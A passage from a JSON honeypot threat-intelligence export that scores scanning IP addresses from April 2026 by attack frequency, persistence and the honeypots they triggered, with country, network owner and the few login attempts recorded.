        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:28:15.940000+00:00",
        "last_seen_30d": "2026-04-30T18:43:49.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 353,
        "Honeytrap": 92,
        "Cowrie": 9,
        "Adbhoney": 4,
        "Dionaea": 3,
        "ElasticPot": 2
      }
    },
    "180.93.75.229": {
      "attack_count": 8,
      "first_seen": "2026-04-15T20:08:02.346Z",
      "last_seen": "2026-04-29T21:54:10.048Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7602,
      "as_org": "Sai gon Postel Corporation",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T20:08:02.346000+00:00",
        "last_seen_30d": "2026-04-29T21:55:14.080000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "192.42.116.144": {
      "attack_count": 8,
      "first_seen": "2026-04-22T19:15:58.816Z",
      "last_seen": "2026-04-22T19:16:22.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T08:02:11+00:00",
        "last_seen_30d": "2026-04-22T19:17:31.102000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5,
        "Honeytrap": 1
      }
    },
    "27.252.21.202": {
      "attack_count": 8,
      "first_seen": "2026-04-17T19:52:46.227Z",
      "last_seen": "2026-04-17T19:53:31.384Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Zealand",
      "country_code": "NZ",
      "city": "Auckland",
      "asn": 9500,
      "as_org": "One New Zealand Group Limited",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:52:46.227000+00:00",
        "last_seen_30d": "2026-04-17T19:54:40.622000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "135.237.125.237": {
      "attack_count": 7,
      "first_seen": "2026-04-15T17:30:23.786Z",
      "last_seen": "2026-04-15T17:30:33.786Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 77.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:27:39.091000+00:00",
        "last_seen_30d": "2026-04-30T16:02:00.614000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 16,
        "Cowrie": 7
      }
    },
    "31.57.184.116": {
      "attack_count": 7,
      "first_seen": "2026-04-09T05:30:20.780Z",
      "last_seen": "2026-04-09T05:30:23.752Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "princ"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.4,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 16,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T10:34:56+00:00",
        "last_seen_30d": "2026-04-22T04:39:31.624000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 28,
        "Cowrie": 7
      }
    },
    "36.156.44.44": {
      "attack_count": 7,
      "first_seen": "2026-04-30T01:29:04.583Z",
      "last_seen": "2026-04-30T01:31:05.038Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T01:29:04.583000+00:00",
        "last_seen_30d": "2026-04-30T01:41:12.780000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "40.124.175.234": {
      "attack_count": 7,
      "first_seen": "2026-04-13T02:07:53.125Z",
      "last_seen": "2026-04-13T02:08:03.166Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:29:48.672000+00:00",
        "last_seen_30d": "2026-04-20T13:14:42.118000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 7
      }
    },
    "101.200.243.197": {
      "attack_count": 6,
      "first_seen": "2026-04-01T18:59:32.981Z",
      "last_seen": "2026-04-01T18:59:38.613Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:59:32.981000+00:00",
        "last_seen_30d": "2026-04-26T03:42:15.925000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "60.246.136.161": {
      "attack_count": 6,
      "first_seen": "2026-04-03T07:58:36.832Z",
      "last_seen": "2026-04-26T01:00:19.548Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T07:58:36.832000+00:00",
        "last_seen_30d": "2026-04-26T01:01:26.161000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.195.103": {
      "attack_count": 6,
      "first_seen": "2026-04-10T08:31:24.056Z",
      "last_seen": "2026-04-10T08:32:01.213Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 25,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-06T06:26:33+00:00",
        "last_seen_30d": "2026-04-30T22:00:30.163000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "ElasticPot": 15,
        "Honeytrap": 10,
        "Cowrie": 6,
        "Honeyaml": 3,
        "Dicompot": 1
      }
    },
    "103.171.69.68": {
      "attack_count": 5,
      "first_seen": "2026-04-28T23:34:33.468Z",
      "last_seen": "2026-04-28T23:34:35.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "Aa1234567"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:34:33.468000+00:00",
        "last_seen_30d": "2026-04-28T23:35:38.694000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "122.199.107.20": {
      "attack_count": 4,
      "first_seen": "2026-04-20T02:46:19.918Z",
      "last_seen": "2026-04-20T15:51:09.110Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T02:46:19.918000+00:00",
        "last_seen_30d": "2026-04-20T15:52:09.694000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "134.209.242.175": {
      "attack_count": 4,
      "first_seen": "2026-04-27T17:09:26.785Z",
      "last_seen": "2026-04-27T17:09:27.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T13:22:50+00:00",
        "last_seen_30d": "2026-04-27T17:10:37.336000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Dionaea": 2,
        "Honeytrap": 1
      }
    },
    "165.232.151.49": {
      "attack_count": 4,
      "first_seen": "2026-04-26T05:47:11.977Z",
      "last_seen": "2026-04-26T05:47:19.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-26T05:47:06+00:00",
        "last_seen_30d": "2026-04-26T05:48:29.375000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "185.242.226.19": {
      "attack_count": 4,
      "first_seen": "2026-04-08T07:09:37.471Z",
      "last_seen": "2026-04-20T07:04:06.467Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 24,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T15:59:56.964000+00:00",
        "last_seen_30d": "2026-04-30T13:13:42.635000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 17,
        "Dionaea": 5,
        "Cowrie": 4
      }
    },
    "199.45.155.102": {
      "attack_count": 4,
      "first_seen": "2026-04-28T02:59:25.216Z",
      "last_seen": "2026-04-28T02:59:40.230Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 26,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T02:15:18+00:00",
        "last_seen_30d": "2026-04-28T03:00:45.784000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Tanner": 3
      }
    },
    "20.64.105.6": {
      "attack_count": 4,
      "first_seen": "2026-04-22T11:01:55.116Z",
      "last_seen": "2026-04-22T11:02:05.608Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 15.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 19,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T13:17:59.353000+00:00",
        "last_seen_30d": "2026-04-29T05:48:37.375000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "20.98.137.25": {
      "attack_count": 4,
      "first_seen": "2026-04-27T18:10:24.921Z",
      "last_seen": "2026-04-27T18:10:35.466Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 19.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 23,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T12:21:44.887000+00:00",
        "last_seen_30d": "2026-04-27T18:11:44.239000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "205.210.31.240": {
      "attack_count": 4,
      "first_seen": "2026-04-18T04:41:45.632Z",
      "last_seen": "2026-04-18T04:41:49.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T23:29:12+00:00",
        "last_seen_30d": "2026-04-28T21:16:28.714000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "205.210.31.243": {
      "attack_count": 4,
      "first_seen": "2026-04-17T16:20:39.698Z",
      "last_seen": "2026-04-17T16:20:42.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T08:11:59+00:00",
        "last_seen_30d": "2026-04-30T22:22:58.949000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "91.231.89.65": {
      "attack_count": 4,
      "first_seen": "2026-04-18T00:14:14.427Z",
      "last_seen": "2026-04-18T00:14:16.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:23:34+00:00",
        "last_seen_30d": "2026-04-30T10:32:48.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 41,
        "Cowrie": 4
      }
    },
    "167.172.148.206": {
      "attack_count": 3,
      "first_seen": "2026-04-09T20:02:43.443Z",
      "last_seen": "2026-04-09T20:02:44.532Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 14,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-09T20:02:42+00:00",
        "last_seen_30d": "2026-04-22T17:22:57.580000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 211,
        "Honeytrap": 30,
        "Cowrie": 3,
        "Adbhoney": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "46.250.226.68": {
      "attack_count": 3,
      "first_seen": "2026-04-23T01:13:42.145Z",
      "last_seen": "2026-04-23T01:14:43.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T01:13:42.145000+00:00",
        "last_seen_30d": "2026-04-23T01:15:46.386000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.231.89.242": {
      "attack_count": 3,
      "first_seen": "2026-04-04T00:14:24.815Z",
      "last_seen": "2026-04-04T00:14:24.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 30,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:18:37.567000+00:00",
        "last_seen_30d": "2026-04-30T20:56:56.915000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 44,
        "Cowrie": 3
      }
    },
    "1.165.214.66": {
      "attack_count": 2,
      "first_seen": "2026-04-09T23:48:38.118Z",
      "last_seen": "2026-04-09T23:48:52.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:48:38.118000+00:00",
        "last_seen_30d": "2026-04-09T23:49:59.523000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.168.33.212": {
      "attack_count": 2,
      "first_seen": "2026-04-16T00:56:56.422Z",
      "last_seen": "2026-04-16T00:57:09.869Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T00:56:56.422000+00:00",
        "last_seen_30d": "2026-04-16T00:58:18.084000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.151.110.46": {
      "attack_count": 2,
      "first_seen": "2026-04-07T22:39:54.966Z",
      "last_seen": "2026-04-07T22:40:08.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
